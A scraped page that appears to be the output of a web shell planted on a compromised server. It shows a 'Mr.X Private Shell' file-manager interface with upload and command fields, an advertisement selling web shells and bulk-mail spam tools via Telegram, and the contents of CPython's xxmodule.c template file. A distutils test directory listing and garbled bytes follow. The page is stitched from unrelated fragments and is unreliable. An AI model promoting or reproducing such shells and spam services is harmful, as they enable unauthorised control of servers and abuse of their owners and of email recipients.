xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
/* Use this file as a template to start implementing a module that
   also declares object types. All occurrences of 'Xxo' should be changed
   to something reasonable for your objects. After that, all other
   occurrences of 'xx' should be changed to something reasonable for your
   module. If your module is named foo your sourcefile should be named
   foomodule.c.

   You will probably want to delete all references to 'x_attr' and add
   your own types of attributes instead.  Maybe you want to name your
   local variables other than 'self'.  If your object type is needed in
   other files, you'll have to create a file "foobarobject.h"; see
   intobject.h for an example. */

/* Xxo objects */

#include "Python.h"

static PyObject *ErrorObject;

typedef struct {
    PyObject_HEAD
    PyObject            *x_attr;        /* Attributes dictionary */
} XxoObject;

static PyTypeObject Xxo_Type;

#define XxoObject_Check(v)      (Py_TYPE(v) == &Xxo_Type)

static XxoObject *
newXxoObject(PyObject *arg)
{
    XxoObject *self;
    self = PyObject_New(XxoObject, &Xxo_Type);
    if (self == NULL)
        return NULL;
    self->x_attr = NULL;
    return self;
}

/* Xxo methods */

static void
Xxo_dealloc(XxoObject *self)
{
    Py_XDECREF(self->x_attr);
    PyObject_Del(self);
}

static PyObject *
Xxo_demo(XxoObject *self, PyObject *args)
{
    if (!PyArg_ParseTuple(args, ":demo"))
        return NULL;
    Py_INCREF(Py_None);
    return Py_None;
}

static PyMethodDef Xxo_methods[] = {
    {"demo",            (PyCFunction)Xxo_demo,  METH_VARARGS,
        PyDoc_STR("demo() -> None")},
    {NULL,              NULL}           /* sentinel */
};

static PyObject *
Xxo_getattr(XxoObject *self, char *name)
{
    if (self->x_attr != NULL) {
        PyObject *v = PyDict_GetItemString(self->x_attr, name);
        if (v != NULL) {
            Py_INCREF(v);
            return v;
        }
    }
    return Py_FindMethod(Xxo_methods, (PyObject *)self, name);
}

static int
Xxo_setattr(XxoObject *self, char *name, PyObject *v)
{
    if (self->x_attr == NULL) {
        self->x_attr = PyDict_New();
        if (self->x_attr == NULL)
            return -1;
    }
    if (v == NULL) {
        int rv = PyDict_DelItemString(self->x_attr, name);
        if (rv < 0)
            PyErr_SetString(PyExc_AttributeError,
                "delete non-existing Xxo attribute");
        return rv;
    }
    else
        return PyDict_SetItemString(self->x_attr, name, v);
}

static PyTypeObject Xxo_Type = {
    /* The ob_type field must be initialized in the module init function
     * to be portable to Windows without using C++. */
    PyVarObject_HEAD_INIT(NULL, 0)
    "xxmodule.Xxo",             /*tp_name*/
    sizeof(XxoObject),          /*tp_basicsize*/
    0,                          /*tp_itemsize*/
    /* methods */
    (destructor)Xxo_dealloc, /*tp_dealloc*/
    0,                          /*tp_print*/
    (getattrfunc)Xxo_getattr, /*tp_getattr*/
    (setattrfunc)Xxo_setattr, /*tp_setattr*/
    0,                          /*tp_compare*/
    0,                          /*tp_repr*/
    0,                          /*tp_as_number*/
    0,                          /*tp_as_sequence*/
    0,                          /*tp_as_mapping*/
    0,                          /*tp_hash*/
    0,                      /*tp_call*/
    0,                      /*tp_str*/
    0,                      /*tp_getattro*/
    0,                      /*tp_setattro*/
    0,                      /*tp_as_buffer*/
    Py_TPFLAGS_DEFAULT,     /*tp_flags*/
    0,                      /*tp_doc*/
    0,                      /*tp_traverse*/
    0,                      /*tp_clear*/
    0,                      /*tp_richcompare*/
    0,                      /*tp_weaklistoffset*/
    0,                      /*tp_iter*/
    0,                      /*tp_iternext*/
    0,                      /*tp_methods*/
    0,                      /*tp_members*/
    0,                      /*tp_getset*/
    0,                      /*tp_base*/
    0,                      /*tp_dict*/
    0,                      /*tp_descr_get*/
    0,                      /*tp_descr_set*/
    0,                      /*tp_dictoffset*/
    0,                      /*tp_init*/
    0,                      /*tp_alloc*/
    0,                      /*tp_new*/
    0,                      /*tp_free*/
    0,                      /*tp_is_gc*/
};
/* --------------------------------------------------------------------- */

/* Function of two integers returning integer */

PyDoc_STRVAR(xx_foo_doc,
"foo(i,j)\n\
\n\
Return the sum of i and j.");

static PyObject *
xx_foo(PyObject *self, PyObject *args)
{
    long i, j;
    long res;
    if (!PyArg_ParseTuple(args, "ll:foo", &i, &j))
        return NULL;
    res = i+j; /* XXX Do something here */
    return PyInt_FromLong(res);
}


/* Function of no arguments returning new Xxo object */

static PyObject *
xx_new(PyObject *self, PyObject *args)
{
    XxoObject *rv;

    if (!PyArg_ParseTuple(args, ":new"))
        return NULL;
    rv = newXxoObject(args);
    if (rv == NULL)
        return NULL;
    return (PyObject *)rv;
}

/* Example with subtle bug from extensions manual ("Thin Ice"). */

static PyObject *
xx_bug(PyObject *self, PyObject *args)
{
    PyObject *list, *item;

    if (!PyArg_ParseTuple(args, "O:bug", &list))
        return NULL;

    item = PyList_GetItem(list, 0);
    /* Py_INCREF(item); */
    PyList_SetItem(list, 1, PyInt_FromLong(0L));
    PyObject_Print(item, stdout, 0);
    printf("\n");
    /* Py_DECREF(item); */

    Py_INCREF(Py_None);
    return Py_None;
}

/* Test bad format character */

static PyObject *
xx_roj(PyObject *self, PyObject *args)
{
    PyObject *a;
    long b;
    if (!PyArg_ParseTuple(args, "O#:roj", &a, &b))
        return NULL;
    Py_INCREF(Py_None);
    return Py_None;
}


/* ---------- */

static PyTypeObject Str_Type = {
    /* The ob_type field must be initialized in the module init function
     * to be portable to Windows without using C++. */
    PyVarObject_HEAD_INIT(NULL, 0)
    "xxmodule.Str",             /*tp_name*/
    0,                          /*tp_basicsize*/
    0,                          /*tp_itemsize*/
    /* methods */
    0,                          /*tp_dealloc*/
    0,                          /*tp_print*/
    0,                          /*tp_getattr*/
    0,                          /*tp_setattr*/
    0,                          /*tp_compare*/
    0,                          /*tp_repr*/
    0,                          /*tp_as_number*/
    0,                          /*tp_as_sequence*/
    0,                          /*tp_as_mapping*/
    0,                          /*tp_hash*/
    0,                          /*tp_call*/
    0,                          /*tp_str*/
    0,                          /*tp_getattro*/
    0,                          /*tp_setattro*/
    0,                          /*tp_as_buffer*/
    Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /*tp_flags*/
    0,                          /*tp_doc*/
    0,                          /*tp_traverse*/
    0,                          /*tp_clear*/
    0,                          /*tp_richcompare*/
    0,                          /*tp_weaklistoffset*/
    0,                          /*tp_iter*/
    0,                          /*tp_iternext*/
    0,                          /*tp_methods*/
    0,                          /*tp_members*/
    0,                          /*tp_getset*/
    0, /* see initxx */         /*tp_base*/
    0,                          /*tp_dict*/
    0,                          /*tp_descr_get*/
    0,                          /*tp_descr_set*/
    0,                          /*tp_dictoffset*/
    0,                          /*tp_init*/
    0,                          /*tp_alloc*/
    0,                          /*tp_new*/
    0,                          /*tp_free*/
    0,                          /*tp_is_gc*/
};

/* ---------- */

static PyObject *
null_richcompare(PyObject *self, PyObject *other, int op)
{
    Py_INCREF(Py_NotImplemented);
    return Py_NotImplemented;
}

static PyTypeObject Null_Type = {
    /* The ob_type field must be initialized in the module init function
     * to be portable to Windows without using C++. */
    PyVarObject_HEAD_INIT(NULL, 0)
    "xxmodule.Null",            /*tp_name*/
    0,                          /*tp_basicsize*/
    0,                          /*tp_itemsize*/
    /* methods */
    0,                          /*tp_dealloc*/
    0,                          /*tp_print*/
    0,                          /*tp_getattr*/
    0,                          /*tp_setattr*/
    0,                          /*tp_compare*/
    0,                          /*tp_repr*/
    0,                          /*tp_as_number*/
    0,                          /*tp_as_sequence*/
    0,                          /*tp_as_mapping*/
    0,                          /*tp_hash*/
    0,                          /*tp_call*/
    0,                          /*tp_str*/
    0,                          /*tp_getattro*/
    0,                          /*tp_setattro*/
    0,                          /*tp_as_buffer*/
    Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /*tp_flags*/
    0,                          /*tp_doc*/
    0,                          /*tp_traverse*/
    0,                          /*tp_clear*/
    null_richcompare,           /*tp_richcompare*/
    0,                          /*tp_weaklistoffset*/
    0,                          /*tp_iter*/
    0,                          /*tp_iternext*/
    0,                          /*tp_methods*/
    0,                          /*tp_members*/
    0,                          /*tp_getset*/
    0, /* see initxx */         /*tp_base*/
    0,                          /*tp_dict*/
    0,                          /*tp_descr_get*/
    0,                          /*tp_descr_set*/
    0,                          /*tp_dictoffset*/
    0,                          /*tp_init*/
    0,                          /*tp_alloc*/
    0, /* see initxx */         /*tp_new*/
    0,                          /*tp_free*/
    0,                          /*tp_is_gc*/
};


/* ---------- */


/* List of functions defined in the module */

static PyMethodDef xx_methods[] = {
    {"roj",             xx_roj,         METH_VARARGS,
        PyDoc_STR("roj(a,b) -> None")},
    {"foo",             xx_foo,         METH_VARARGS,
        xx_foo_doc},
    {"new",             xx_new,         METH_VARARGS,
        PyDoc_STR("new() -> new Xx object")},
    {"bug",             xx_bug,         METH_VARARGS,
        PyDoc_STR("bug(o) -> None")},
    {NULL,              NULL}           /* sentinel */
};

PyDoc_STRVAR(module_doc,
"This is a template module just for instruction.");

/* Initialization function for the module (*must* be called initxx) */

PyMODINIT_FUNC
initxx(void)
{
    PyObject *m;

    /* Due to cross platform compiler issues the slots must be filled
     * here. It's required for portability to Windows without requiring
     * C++. */
    Null_Type.tp_base = &PyBaseObject_Type;
    Null_Type.tp_new = PyType_GenericNew;
    Str_Type.tp_base = &PyUnicode_Type;

    /* Finalize the type object including setting type of the new type
     * object; doing it here is required for portability, too. */
    if (PyType_Ready(&Xxo_Type) < 0)
        return;

    /* Create the module and add the functions */
    m = Py_InitModule3("xx", xx_methods, module_doc);
    if (m == NULL)
        return;

    /* Add some symbolic constants to the module */
    if (ErrorObject == NULL) {
        ErrorObject = PyErr_NewException("xx.error", NULL, NULL);
        if (ErrorObject == NULL)
            return;
    }
    Py_INCREF(ErrorObject);
    PyModule_AddObject(m, "error", ErrorObject);

    /* Add Str */
    if (PyType_Ready(&Str_Type) < 0)
        return;
    PyModule_AddObject(m, "Str", (PyObject *)&Str_Type);

    /* Add Null */
    if (PyType_Ready(&Null_Type) < 0)
        return;
    PyModule_AddObject(m, "Null", (PyObject *)&Null_Type);
}

Filemanager

Name Type Size Permission Actions
Setup.sample File 2.2 KB 0644
__init__.py File 1.04 KB 0644
__init__.pyc File 1.43 KB 0644
__init__.pyo File 1.43 KB 0644
includetest.rst File 25 B 0644
setuptools_build_ext.py File 11.22 KB 0644
setuptools_build_ext.pyc File 9.87 KB 0644
setuptools_build_ext.pyo File 9.83 KB 0644
setuptools_extension.py File 1.55 KB 0644
setuptools_extension.pyc File 2.1 KB 0644
setuptools_extension.pyo File 2.1 KB 0644
support.py File 6.81 KB 0644
support.pyc File 8.99 KB 0644
support.pyo File 8.99 KB 0644
test_archive_util.py File 10.8 KB 0644
test_archive_util.pyc File 10.14 KB 0644
test_archive_util.pyo File 10.14 KB 0644
test_bdist.py File 1.51 KB 0644
test_bdist.pyc File 1.98 KB 0644
test_bdist.pyo File 1.98 KB 0644
test_bdist_dumb.py File 3.47 KB 0644
test_bdist_dumb.pyc File 3.98 KB 0644
test_bdist_dumb.pyo File 3.98 KB 0644
test_bdist_msi.py File 733 B 0644
test_bdist_msi.pyc File 1.33 KB 0644
test_bdist_msi.pyo File 1.33 KB 0644
test_bdist_rpm.py File 4.93 KB 0644
test_bdist_rpm.pyc File 4.86 KB 0644
test_bdist_rpm.pyo File 4.86 KB 0644
test_bdist_wininst.py File 1.02 KB 0644
test_bdist_wininst.pyc File 1.33 KB 0644
test_bdist_wininst.pyo File 1.33 KB 0644
test_build.py File 1.88 KB 0644
test_build.pyc File 1.99 KB 0644
test_build.pyo File 1.99 KB 0644
test_build_clib.py File 4.87 KB 0644
test_build_clib.pyc File 4.76 KB 0644
test_build_clib.pyo File 4.76 KB 0644
test_build_ext.py File 19.69 KB 0644
test_build_ext.pyc File 15.46 KB 0644
test_build_ext.pyo File 15.46 KB 0644
test_build_py.py File 4.95 KB 0644
test_build_py.pyc File 4.6 KB 0644
test_build_py.pyo File 4.6 KB 0644
test_build_scripts.py File 3.5 KB 0644
test_build_scripts.pyc File 3.76 KB 0644
test_build_scripts.pyo File 3.76 KB 0644
test_ccompiler.py File 3.34 KB 0644
test_ccompiler.pyc File 4.92 KB 0644
test_ccompiler.pyo File 4.92 KB 0644
test_check.py File 5.61 KB 0644
test_check.pyc File 4.92 KB 0644
test_check.pyo File 4.92 KB 0644
test_clean.py File 1.44 KB 0644
test_clean.pyc File 1.84 KB 0644
test_clean.pyo File 1.84 KB 0644
test_cmd.py File 3.75 KB 0644
test_cmd.pyc File 5.08 KB 0644
test_cmd.pyo File 5.08 KB 0644
test_config.py File 3.11 KB 0644
test_config.pyc File 4.16 KB 0644
test_config.pyo File 4.16 KB 0644
test_config_cmd.py File 2.55 KB 0644
test_config_cmd.pyc File 3.81 KB 0644
test_config_cmd.pyo File 3.81 KB 0644
test_core.py File 3.09 KB 0644
test_core.pyc File 3.85 KB 0644
test_core.pyo File 3.85 KB 0644
test_dep_util.py File 2.77 KB 0644
test_dep_util.pyc File 2.82 KB 0644
test_dep_util.pyo File 2.82 KB 0644
test_dir_util.py File 4.28 KB 0644
test_dir_util.pyc File 5.14 KB 0644
test_dir_util.pyo File 5.14 KB 0644
test_dist.py File 15.48 KB 0644
test_dist.pyc File 16.31 KB 0644
test_dist.pyo File 16.31 KB 0644
test_file_util.py File 4 KB 0644
test_file_util.pyc File 4.96 KB 0644
test_file_util.pyo File 4.96 KB 0644
test_filelist.py File 9.84 KB 0644
test_filelist.pyc File 8.67 KB 0644
test_filelist.pyo File 8.67 KB 0644
test_install.py File 8.26 KB 0644
test_install.pyc File 8 KB 0644
test_install.pyo File 8 KB 0644
test_install_data.py File 2.55 KB 0644
test_install_data.pyc File 2.5 KB 0644
test_install_data.pyo File 2.5 KB 0644
test_install_headers.py File 1.24 KB 0644
test_install_headers.pyc File 1.74 KB 0644
test_install_headers.pyo File 1.74 KB 0644
test_install_lib.py File 3.51 KB 0644
test_install_lib.pyc File 4.17 KB 0644
test_install_lib.pyo File 4.17 KB 0644
test_install_scripts.py File 2.57 KB 0644
test_install_scripts.pyc File 2.92 KB 0644
test_install_scripts.pyo File 2.92 KB 0644
test_msvc9compiler.py File 5.91 KB 0644
test_msvc9compiler.pyc File 6.04 KB 0644
test_msvc9compiler.pyo File 6.04 KB 0644
test_register.py File 8.63 KB 0644
test_register.pyc File 8.43 KB 0644
test_register.pyo File 8.43 KB 0644
test_sdist.py File 17.07 KB 0644
test_sdist.pyc File 14.27 KB 0644
test_sdist.pyo File 14.27 KB 0644
test_spawn.py File 3.55 KB 0644
test_spawn.pyc File 3.3 KB 0644
test_spawn.pyo File 3.3 KB 0644
test_sysconfig.py File 9.16 KB 0644
test_sysconfig.pyc File 8.33 KB 0644
test_sysconfig.pyo File 8.33 KB 0644
test_text_file.py File 3.36 KB 0644
test_text_file.pyc File 2.78 KB 0644
test_text_file.pyo File 2.78 KB 0644
test_unixccompiler.py File 4.92 KB 0644
test_unixccompiler.pyc File 5.83 KB 0644
test_unixccompiler.pyo File 5.83 KB 0644
test_upload.py File 4.9 KB 0644
test_upload.pyc File 5.88 KB 0644
test_upload.pyo File 5.88 KB 0644
test_util.py File 2.34 KB 0644
test_util.pyc File 3.11 KB 0644
test_util.pyo File 3.11 KB 0644
test_version.py File 2.56 KB 0644
test_version.pyc File 3.13 KB 0644
test_version.pyo File 3.13 KB 0644
test_versionpredicate.py File 285 B 0644
test_versionpredicate.pyc File 653 B 0644
test_versionpredicate.pyo File 653 B 0644
xxmodule.c File 11.73 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1